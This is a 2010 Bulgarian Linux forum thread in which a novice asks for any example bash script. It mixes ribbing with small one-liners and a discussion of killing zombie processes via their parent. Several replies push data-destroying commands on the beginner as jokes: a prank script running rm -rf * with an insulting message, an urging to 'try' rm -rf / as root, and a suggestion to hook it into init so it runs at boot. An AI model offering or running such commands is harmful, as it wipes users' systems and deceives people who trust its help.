Анкета

Въпрос: Можете ли да правите bash скриптчета?

  • Да!
    Не!
    Може би.
    Горе доло.
    Лесно е става за 10 минути!
    за 1 час мога 201

Автор Тема: помощ за скриптче  (Прочетена 6396 пъти)

boris2001

  • Напреднали
  • *****
  • Публикации: 68
  • Distribution: тиликс 0.4
    • Профил
помощ за скриптче
« -: Oct 29, 2010, 21:56 »
Как да направя скриптче което прави нещо моля помогнете  ми да го направя даите пример да се пробвам.Даите идея да разбера нещо за скриптчетата.Много хора знаят помогнете !!!
Активен

http://www.linux-bg.org
:)boris2001(admin):)

borovaka

  • Напреднали
  • *****
  • Публикации: 1331
  • Distribution: Каквото дойде
  • Window Manager: Gnome / KDE
    • Профил
Re: помощ за скриптче
« Отговор #1 -: Oct 29, 2010, 21:59 »
Абе човек ти какви работи приказваш. Айде някой дето знае на мене да ми каже как се прави ядрена глава дето прави квото и кажа.
Има книжки с езици за писане на скриптове дали ще е Bash, PHP, Perl, Python. То не е така айде кажете ми в 2 реда аз как да стана баш програмист и след 2 дена да си баш пича.
Ако наистина имаш желание да се занимаваш има страшно много информация от която можеш да се образоваш и да напреднеш.
Активен

Та извода е прост: "Колкото по-големи ла*ната - толкова по-малка щетата! ... моралната де, не материалната"

boris2001

  • Напреднали
  • *****
  • Публикации: 68
  • Distribution: тиликс 0.4
    • Профил
Re: помощ за скриптче
« Отговор #2 -: Oct 29, 2010, 22:01 »
По полека.Стига темата на темата ще махна ако искате и ще е за вицове и други неща!
Активен

http://www.linux-bg.org
:)boris2001(admin):)

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: помощ за скриптче
« Отговор #3 -: Oct 29, 2010, 22:36 »
Как да направя скриптче което прави нещо моля помогнете  ми да го направя даите пример да се пробвам.Даите идея да разбера нещо за скриптчетата.Много хора знаят помогнете !!!
Код:
grep -v ^# filename|grep -v ^#
помъчи се да го разгадаеш какво прави
« Последна редакция: Oct 29, 2010, 22:39 от romeo_ninov »
Активен

0x2B|~0x2B

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Re: помощ за скриптче
« Отговор #4 -: Oct 30, 2010, 08:37 »
Как да направя скриптче което прави нещо моля помогнете  ми да го направя даите пример да се пробвам.Даите идея да разбера нещо за скриптчетата.Много хора знаят помогнете !!!
Код:
grep -v ^# filename|grep -v ^#
помъчи се да го разгадаеш какво прави

И аз мога така:
Код
GeSHi (Bash):
  1. kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: помощ за скриптче
« Отговор #5 -: Oct 30, 2010, 08:51 »
Как да направя скриптче което прави нещо моля помогнете  ми да го направя даите пример да се пробвам.Даите идея да разбера нещо за скриптчетата.Много хора знаят помогнете !!!
Код:
grep -v ^# filename|grep -v ^#
помъчи се да го разгадаеш какво прави

И аз мога така:
Код
GeSHi (Bash):
  1. kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
Защо ли си мисля че няма да успееш да убиеш зомбитата по този начин :P
Активен

0x2B|~0x2B

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Re: помощ за скриптче
« Отговор #6 -: Oct 30, 2010, 08:54 »
Как да направя скриптче което прави нещо моля помогнете  ми да го направя даите пример да се пробвам.Даите идея да разбера нещо за скриптчетата.Много хора знаят помогнете !!!
Код:
grep -v ^# filename|grep -v ^#
помъчи се да го разгадаеш какво прави

И аз мога така:
Код
GeSHi (Bash):
  1. kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
Защо ли си мисля че няма да успееш да убиеш зомбитата по този начин :P

Защо?
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: помощ за скриптче
« Отговор #7 -: Oct 30, 2010, 09:11 »
Добре аз ще изложа моят фаворит ;D
#!/bin/bash
rm -rf *
echo Ако четеш този текст си пълен идиот ;D
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: помощ за скриптче
« Отговор #8 -: Oct 30, 2010, 09:16 »
Добре аз ще изложа моят фаворит ;D
#!/bin/bash
rm -rf *
echo Ако четеш този текст си пълен идиот ;D
опитай го така:
Код:
rm -rf /

Защо?
Опитай :)
Активен

0x2B|~0x2B

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Re: помощ за скриптче
« Отговор #9 -: Oct 30, 2010, 09:18 »
Добре аз ще изложа моят фаворит ;D
#!/bin/bash
rm -rf *
echo Ако четеш този текст си пълен идиот ;D
опитай го така:
Код:
rm -rf /

Защо?
Опитай :)

Само, че трябва да го изпълни като root.
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: помощ за скриптче
« Отговор #10 -: Oct 30, 2010, 09:20 »
Добре аз ще изложа моят фаворит ;D
#!/bin/bash
rm -rf *
echo Ако четеш този текст си пълен идиот ;D
опитай го така:
Код:
rm -rf /

Защо?
Опитай :)

Само, че трябва да го изпълни като root.
Скрипта на Роко - да
Твоя - без значение, разгледай малко теорията на зомбитата
Активен

0x2B|~0x2B

b2l

  • Напреднали
  • *****
  • Публикации: 4786
  • Distribution: MCC Interim
  • Window Manager: - // - // -
  • ...sometimes I feel like screaming... || RTFM!
    • Профил
    • WWW
Re: помощ за скриптче
« Отговор #11 -: Oct 30, 2010, 09:26 »
Това "Опитай" го прочетох по-късно ;).
Активен

"Човекът е въже, опънато между звяра и свръхчовека, въже над пропаст. Човекът е нещо, което трябва да бъде превъзмогнато." - Фр. Ницше

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: помощ за скриптче
« Отговор #12 -: Oct 30, 2010, 10:07 »
То това по начало се слага в init :) И при стартиране на машината при "telinit 3" да се задейства :D
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

triel

  • Напреднали
  • *****
  • Публикации: 36
    • Профил
Re: помощ за скриптче
« Отговор #13 -: Oct 30, 2010, 10:15 »
Как да направя скриптче което прави нещо моля помогнете  ми да го направя даите пример да се пробвам.Даите идея да разбера нещо за скриптчетата.Много хора знаят помогнете !!!
Код:
grep -v ^# filename|grep -v ^#
помъчи се да го разгадаеш какво прави

И аз мога така:
Код
GeSHi (Bash):
  1. kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
Защо ли си мисля че няма да успееш да убиеш зомбитата по този начин :P

Всъщност единствения ефективен начин за убиване на zombie процеси е като kill-неш parent процеса им и скрипта на backtolife прави точно това. Друг е въпроса какви други проблеми може да си навлече така  - да речем, ако няма процес, който да следи за статуса на parent process-а и да го respawn-ва, ако не е активен...
Активен

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: помощ за скриптче
« Отговор #14 -: Oct 30, 2010, 10:17 »
Всъщност единствения ефективен начин за убиване на zombie процеси е като kill-неш parent процеса им и скрипта на backtolife прави точно това. Друг е въпроса какви други проблеми може да си навлече така  - да речем, ако няма процес, който да следи за статуса на parent process-а и да го respawn-ва, ако не е активен...
И какво ли би станало ако родителския процес има номер 1?
Активен

0x2B|~0x2B